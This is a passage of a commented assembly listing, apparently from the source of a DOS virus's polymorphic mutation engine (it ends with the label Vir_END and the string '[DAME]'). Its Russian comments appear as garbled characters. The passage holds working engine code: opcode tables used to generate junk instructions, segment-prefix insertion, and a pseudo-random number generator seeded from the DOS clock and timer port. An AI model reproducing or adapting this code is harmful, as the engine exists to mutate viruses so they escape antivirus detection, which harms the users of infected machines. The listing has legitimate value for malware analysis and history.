     09DF  B8 ????                              mov     ax,1111h              ; AX = ª®«¨ç¥á⢮ § ¯¨á ­­ëå
                                BytesWrittenCounter     = word ptr $ - 2      ; ¡ ©â ç¥à¥§ ¯à®æ¥¤ãàã Write_byte
                                                                              ;   ä ªâ¨ç¥áª¨ ᪮«ìª® 㦥
                                                                              ; ᣥ­¥à¨à®¢ «¨ ¡ ©â "¬ãá®à "
     09E2  48                                   dec     ax
     09E3  74 1B                                jz      short loc_0A00          ; Jump if zero
     09E5  E8 F960                              call    RND_0_AX
                                ; ” ªâ¨ç¥áª¨ á«ãç ©­®¥ ç¨á«® ¢ AX ®¯à¥¤¥«ï¥â ¢ ª ª®¬ ãç á⪥ ¡ã¤¥â ¢ë¤¥«¥­ 
                                ; ï祩ª  ¯ ¬ï⨠¯®¤ ¬®¤¨ä¨ª æ¨î
     09E8  92                                   xchg    dx,ax                   ; DX - á«ãç ©­®¥ ç¨á«® ¢ ¤¨ ¯ -
                                                                                ;  §®­¥ 㦥 ᣥ­¥à¨à®¢ ­­ëå
                                                                                ;  ¡ ©â
     09E9  BE ????                              mov     si,1111h              ; 㪠§ â¥«ì ­  ­ ç «® ˆ”Ž-¡«®ª 
                                data_09EA       =       word ptr $ - 2
     09EC                       loc_09EC:
                                ; —¨â ¥¬ ®ç¥à¥¤­ãî § ¯¨áì ¢ ˆ”Ž-¡«®ª¥
     09EC  AD                                   lodsw                           ; String [si] to ax
     09ED  91                                   xchg    cx,ax
     09EE  AD                                   lodsw                           ; String [si] to ax
     09EF  42                                   inc     dx
     09F0  3B D1                                cmp     dx,cx
     09F2  72 09                                jb      short loc_09FD          ; Jump if below
     09F4  74 01                                jz      short loc_09F7          ; Jump if zero
     09F6  4A                                   dec     dx
     09F7                       loc_09F7:
                                ; ¥à¥å®¤ ª á«¥¤ãî饩 § ¯¨á¨ ¢ ˆ”Ž-¡«®ª¥
     09F7  03 F1                                add     si,cx
     09F9  2B D1                                sub     dx,cx
     09FB  EB EF                                jmp     short loc_09EC
     09FD                       loc_09FD:
     09FD  4A                                   dec     dx
     09FE  03 C2                                add     ax,dx
                                ;----------------------------------------------------------------
                                ; ‡ ¯¨áì  ¤à¥á  ï祩ª¨ ¯ ¬ï⨠¢ë¤¥«¥­­®© ¯®¤ ¬®¤¨ä¨ª æ¨î
     0A00                       loc_0A00:
     0A00  57                                   push    di
     0A01  50                                   push    ax
     0A02  BF 27BE                              mov     di,1111h
                                data_0A03       =       word ptr $ - 2
     0A05  AB                                   stosw                           ; Store ax to es:[di]
     0A06  96                                   xchg    si,ax
     0A07  A5                                   movsw                           ; Mov [si] to es:[di]
     0A08  2E: 89 3E 0A03                       mov     cs:data_0A03,di
     0A0D  58                                   pop     ax
     0A0E  5F                                   pop     di
     0A0F  FE C4                                inc     ah
     0A11  E9 FC22                              jmp     loc_0636
                                sub_09DC        endp
                                sub_09C2        endp
                                ;==============================================================================
                                ;                 * à®æ¥¤ãà  ¢áâ ¢ª¨ ।¨à¥ªâ®à  ᥣ¬¥­â®¢ *
                                ;==============================================================================
                                ; ’.ª. ¢á¥ ®¯¥à æ¨¨ ¯® ¬®¤¨ä¨ª æ¨¨ ¯ ¬ï⨠£¥­¥à¨àã¥¬ë¥ ¢¨àãᮬ ¯® 㬮«ç ­¨î
                                ; ¯à®¨§¢®¤ïâáï ¢ ᥣ¬¥­â¥ ¤ ­­ëå DS,   ¢®§¬®¦­  á¨âã æ¨ï, ª®£¤  ॣ¨áâà DS
                                ; ¬®¦¥â ¬®¤¨ä¨æ¨à®¢ âìáï ¢ ¯®«¨¬®àä­®¬ "¬ãá®à¥", â® ­¥®¡å®¤¨¬® ¯®¤á⢠¢¨âì à¥-
                                ; ᥣ¬¥­â­ë© ।¨à¥ªâ®à (CS: «¨ SS:). ® ¥á«¨ DS ­¥ ¬¥­ï¥âáï, ⮠⮣¤  ­¥®¡å®-
                                ; ¤¨¬® ¯à®¢¥à¨âì :   ­¥ ¡ë«® «¨ á«ãç ©­®£® ।¨à¥ªâ®à . ˆ ¥á«¨ â ª®¢®© ¡ë« â®
                                ; ¤®¡ ¢«ï¥¬ ª®¬ ­¤ã NOP ¯¥à¥¤ ¢áâ ¢ª®© ¨­áâàãªæ¨¨ ¬®¤¨ä¨ª æ¨¨ ¯ ¬ïâ¨.
                                ; à¨¬¥ç ­¨¥ : …᫨ ¢ ˆ”Ž-¡«®ª¥ ®áâ «®áì ᢮¡®¤­® ¬¥­¥¥ 6 ¡ ©â®¢, â® ¯à®æ¥¤ãà 
                                ;              á­¨¬ ¥â á® á⥪  ­¥ ⮫쪮 ®¡à é¥­¨¥ ª ᥡ¥ ­® ¨ ®¡à é¥­¨¥ ª ¢ë-
                                ;              §ë¢ î饩 ¯à®æ¥¤ãà¥
                                ;------------------------------------------------------------------------------
                                sub_0A14        proc    near
     0A14  2E: A1 09EA                          mov     ax,cs:data_09EA
     0A18  2E: 2B 06 0A03                       sub     ax,cs:data_0A03
     0A1D  3D 0006                              cmp     ax,6                    ; …áâì «¨ ¬¥áâ® ¢ ˆ”Ž-¡«®ª¥ ?
     0A20  73 02                                jae     short loc_0A24          ; Jump if above or =
     0A22  58                                   pop     ax

     0A23                       loc_ret_0A23:
     0A23  C3                                   retn
                                ;------------------------------------------------------------------------------
                                ; Œ¥áâ® ¢ ˆ”Ž-¡«®ª¥ ¥áâì, ¬®¦­® ¢áâ ¢«ïâì ।¨à¥ªâ®à ᥣ¬¥­â®¢.
                                ; à¨¬¥ç ­¨¥ : data_0A25 - ä« £ ¬®¤¨ä¨ª æ¨¨ ॣ¨áâà  DS
                                ;                          = 0 - ॣ¨áâà DS ­¥ ¬®¤¨ä¨æ¨àã¥âáï
                                ;                          = 1 - ॣ¨áâà DS ¬®¤¨ä¨æ¨àã¥âáï
                                ;------------------------------------------------------------------------------
     0A24                       loc_0A24:
     0A24  B0 00                                mov     al,0
                                data_0A25       =       byte ptr $ - 1
     0A26  0A C0                                or      al,al                   ; DS ¬¥­ï¥âáï ?
     0A28  74 0C                                jz      short loc_0A36          ; Jump if NO. ’ ª ª ª ¢ í⮬
                                                                                ;  á«ãç ¥ ।¨à¥ªâ®à ­¥ ­ã¦¥­
                                                ; ‚롨ࠥ¬ ª ª®© ᥣ¬¥­â­ë© ॣ¨áâà ¯®¤áâ ¢¨âì ?
     0A2A  E8 F918                              call    RND_01
     0A2D  B0 2E                                mov     al,2Eh                  ; SEG CS
     0A2F  74 02                                jz      short loc_0A33
     0A31  B0 36                                mov     al,36h                  ; SEG SS
     0A33                       loc_0A33:
     0A33  E9 FC15                              jmp     loc_064B
                                sub_0A14        endp

                                ;==============================================================================
                                ; à®¢¥àª  ­  ।¨à¥ªâ®à ᥣ¬¥­â®¢ (¡ë«  «¨ ¯à¥¤ë¤ãé ï ª®¬ ­¤  ।¨à¥ªâ®à®¬)
                                ;==============================================================================
                                sub_0A36        proc    near
     0A36                       loc_0A36:
     0A36  8A 47 FF                             mov     al,[bx-1]            ; ‚ë¡à âì ¯à¥¤ë¤ãéãî ª®¬ ­¤ã
     0A39  24 E7                                and     al,not SEG_REGs      ; ‚뤥«¨âì ¡¨âë
     0A3B  3C 26                                cmp     al,26h               ; ë«  ®¯¥à æ¨ï ¯®¤¬¥­ë
                                                                             ;  ᥣ¬¥­â  ? (ES:,SS:,CS:,DS:)
     0A3D  75 E4                                jne     loc_ret_0A23
     0A3F  B0 90                                mov     al,90h               ; „ . ®¤áâ ¢«ï¥¬ NOP
     0A41  EB F0                                jmp     short loc_0A33
                                sub_0A36        endp

     ;-------------------------------------------------------------------------------------------------------
     0A43  02                   data_0A43       dop     00000000b, in_reg    ; ADD  r(8/16), r/m      (02,03)
     0A44  0A                                   dop     00001000b, in_reg    ; OR   r(8/16), r/m      (0A,0B)
     0A45  12                                   dop     00010000b, in_reg    ; ADC  r(8/16), r/m      (12,13)
     0A46  1A                                   dop     00011000b, in_reg    ; SBB  r(8/16), r/m      (1A,1B)
     0A47  22                                   dop     00100000b, in_reg    ; AND  r(8/16), r/m      (22,23)
     0A48  2A                                   dop     00101000b, in_reg    ; SUB  r(8/16), r/m      (2A,2B)
     0A49  32                                   dop     00110000b, in_reg    ; XOR  r(8/16), r/m      (32,33)
     0A4A  38                                   dop     00111000b, out_reg   ; CMP  r/m, r(8/16)      (38,39)
     0A4B  3A                                   dop     00111000b, in_reg    ; CMP  r(8/16), r/m      (3A,3B)
     0A4C  84                                   dop     10000100b, out_reg   ; TEST r/m, r(8/16)      (84,85)
     0A4D  8A                                   dop     10001000b, in_reg    ; MOV  r(8/16), r/m      (8A,8B)
     0A4E  8E                                   dop     10001100b, in_reg    ; MOV  seg, r/m             (8E)
     ;-------------------------------------------------------------------------------------------------------
     0A4F  A0                   data_0A4F       db      10100000b            ; MOV  AL, [im8]         (A0,A1)
     0A50  04                                   db      00000100b            ; ADD  AL,  im8          (04,05)
     0A51  0C                                   db      00001100b            ; OR   AL,  im8          (0C,0D)
     0A52  14                                   db      00010100b            ; ADC  AL,  im8          (14,15)
     0A53  1C                                   db      00011100b            ; SBB  AL,  im8          (1C,1D)
     0A54  24                                   db      00100100b            ; AND  AL,  im8          (24,25)
     0A55  2C                                   db      00101100b            ; SUB  AL,  im8          (2C,2D)
     0A56  34                                   db      00110100b            ; XOR  AL,  im8          (34,35)
     0A57  3C                                   db      00111100b            ; CMP  AL,  im8          (3C,3D)
     0A58  A8                                   db      10101000b            ; TEST AL, [im8]         (A8,A9)
     ;-------------------------------------------------------------------------------------------------------
     0A59  C5                   data_0A59       db      11000101b            ; LDS r16/mem               (C5)
     0A5A  C4                                   db      11000100b            ; LES r16/mem               (C4)
     0A5B  8D                                   db      10001101b            ; LEA r16/mem               (8D)
     ;-------------------------------------------------------------------------------------------------------
     0A5C  58                                   db      01011000b            ; POP   r16              (58-5F)
     0A5D  50                   data_0A5D       db      01010000b            ; PUSH  r16              (50-57)
     0A5E  48                                   db      01001000b            ; DEC   r16              (48-4F)
     0A5F  40                                   db      01000000b            ; INC   r16              (40-47)
     0A60  90                                   db      10010000b            ; NOP,  XCHG AX,r16      (90-97)
     ;-------------------------------------------------------------------------------------------------------
     0A61  9C                   data_0A61       db      10011100b            ; PUSHF                     (9C)
     0A62  27                                   db      00100111b            ; DAA                       (27)
     0A63  2F                                   db      00101111b            ; DAS                       (2F)
     0A64  37                                   db      00110111b            ; AAA                       (37)
     0A65  3F                                   db      00111111b            ; AAS                       (3F)
     0A66  98                                   db      10011000b            ; CBW                       (98)
     0A67  99                                   db      10011001b            ; CWD                       (99)
     0A68  9E                                   db      10011110b            ; SAHF                      (9E)
     0A69  9F                                   db      10011111b            ; LAHF                      (9F)
     0A6A  A6                                   db      10100110b            ; CMPSB                     (A6)
     0A6B  AC                                   db      10101100b            ; LODSB                     (AC)
     0A6C  AE                                   db      10101110b            ; SCASB                     (AE)
     0A6D  D7                                   db      11010111b            ; XLAT                      (D7)
     0A6E  F5                                   db      11110101b            ; CMC                       (F5)
     0A6F  F8                                   db      11111000b            ; CLC                       (F8)
     0A70  F9                                   db      11111001b            ; STC                       (F9)
     0A71  FA                                   db      11111010b            ; CLI                       (FA)
     0A72  FB                                   db      11111011b            ; STI                       (FB)
     0A73  FC                                   db      11111100b            ; CLD                       (FC)
     0A74  FD                                   db      11111101b            ; STD                       (FD)
     0A75  A7                                   db      10100111b            ; CMPSW                     (A7)
     0A76  AD                                   db      10101101b            ; LODSW                     (AD)
     0A77  AF                                   db      10101111b            ; SCASW                     (AF)
     ;-------------------------------------------------------------------------------------------------------

                                ;==========================================================================
                                ; ˆ­¨æ¨ «¨§ æ¨ï £¥­¥à â®à  ¯á¥¢¤®á«ãç ©­ëå ç¨á¥«
                                ;==========================================================================

                                RANDOMIZE       proc    near
     0A78  52                                   push    dx
     0A79  51                                   push    cx
     0A7A  B4 2C                                mov     ah,2Ch
     0A7C  CD 21                                int     21h                     ; DOS Services  ah=function 2Ch
                                                                                ;  get time, cx=hrs/min, dx=sec
     0A7E  E4 40                                in      al,40h                  ; port 40h, 8253 timer 0 clock
     0A80  8A E0                                mov     ah,al
     0A82  E4 40                                in      al,40h                  ; port 40h, 8253 timer 0 clock
     0A84  33 C1                                xor     ax,cx
     0A86  33 D0                                xor     dx,ax
     0A88  EB 1B                                jmp     short loc_0AA5
                                ;==========================================================================
                                ; ®«ã祭¨¥ §­ ç¥­¨ï £¥­¥à â®à  ¯á¥¢¤®á«ãç ©­ëå ç¨á¥«
                                RND:
     0A8A  52                                   push    dx
     0A8B  51                                   push    cx
     0A8C  53                                   push    bx
     0A8D  B8 ????                              mov     ax,1111h
                                data_0A8E       =       word ptr $ - 2
     0A90  BA ????                              mov     dx,1111h
                                data_0A91       =       word ptr $ - 2
     0A93  B9 0007                              mov     cx,7
     0A96                       locloop_0A96:
     0A96  D1 E0                                shl     ax,1                    ; Shift w/zeros fill
     0A98  D1 D2                                rcl     dx,1                    ; Rotate thru carry
     0A9A  8A D8                                mov     bl,al
     0A9C  32 DE                                xor     bl,dh
     0A9E  79 02                                jns     short loc_0AA2          ; Jump if not sign
     0AA0  FE C0                                inc     al
     0AA2                       loc_0AA2:
     0AA2  E2 F2                                loop    locloop_0A96            ; Loop if cx > 0
     0AA4  5B                                   pop     bx
     0AA5                       loc_0AA5:
     0AA5  2E: A3 0A8E                          mov     cs:data_0A8E,ax
     0AA9  2E: 89 16 0A91                       mov     cs:data_0A91,dx
     0AAE  8A C2                                mov     al,dl
     0AB0  59                                   pop     cx
     0AB1  5A                                   pop     dx
     0AB2  C3                                   retn
                                RANDOMIZE       endp

     0AB3  5B 44 41 4D 45 5D                    db      '[DAME] [DAME]'
     0AB9  20 5B 44 41 4D 45
     0ABF  5D
                                Vir_END         equ     $
                                seg_a           ends



                                                end     Vir_start